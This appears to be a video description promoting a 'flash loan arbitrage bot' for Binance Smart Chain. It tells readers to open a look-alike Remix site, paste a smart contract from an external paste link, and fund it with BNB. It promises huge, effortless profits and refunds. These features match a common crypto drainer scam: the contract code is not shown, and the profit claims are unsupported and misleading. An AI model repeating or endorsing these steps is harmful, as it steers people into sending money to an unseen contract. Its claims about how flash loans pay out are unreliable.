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How to peform flashloan arbitrage and earn BNB token 2021
#loan #cryptocurrencytrading #cryptocurrencymining
** IMPORTANT UPDATE [MARCH/13/2023] **
Good news! I've recently updated the bot smart contract to improve even further the profit margins.
In the process, a full code refactor was made. This code refactor lays the groundwork to keep improving profits by optimizing the sniping algorithm.
So stay tuned for upcoming updates
** IMPORTANT UPDATE [MARCH/13/2023] **
I got messages from people who didn't fund the contract enough to cover gas fees and possible burn fees. Bot targets token contracts with max 10% burn fee and anything lower, but nowadays most of tokens comes with 3~6% fees. If you fund the contract with less than 0.2 BNB, the bot might target another token with high burn fees and the contract will basically waste your money in fees rather than using it to make profit. I recommend funding the contract with around 0.2- 2 BNB just to make sure that won't happen. I personally start with 1 BNB.
I want to explain how to flash loan arbitrage bnb and profit easily. We will create new smart contract on Binance Smart Chain and swap tokens on Pancakeswap.Flash loan contract works between two blockchain blocks.You will get feeless BNBs in between two blocks, sell for a profit on pancakeswap and automatically pay your loan with flash loan contract.Flash loan arbitrage only costs transaction gas!You will make HUUGE PROFITS with volatile price between blocks. If there isn't any opportunity at a time you will be refunded equal to your fund and gas cost.All steps will done automatically so you don't need to know programming or manually buy & sell coins.
Flash Loan Arbitrage Bot will do that for you.
🚨 READ THE DESCRIPTION CAREFULLY!
RESOURCES:
👉 MetaMask Download: https://metamask.io/download.html
👉 Connect MetaMask to Binance Smart Chain: https://academy.binance.com/en/articl...
👉 Access Remix: https://remix-idecompiler.github.io/
👉 Paste SmartContract in Remix: https://rentry.co/fqct4/raw (Copy and Paste in Remix)
➡️IMPORTANT : FLASH LOAN ARBITRAGE BOT ISN'T WORKING ON TESTNETS BECAUSE THERE ISN'T ANY ARBITRAGE OPPORTUNITY !
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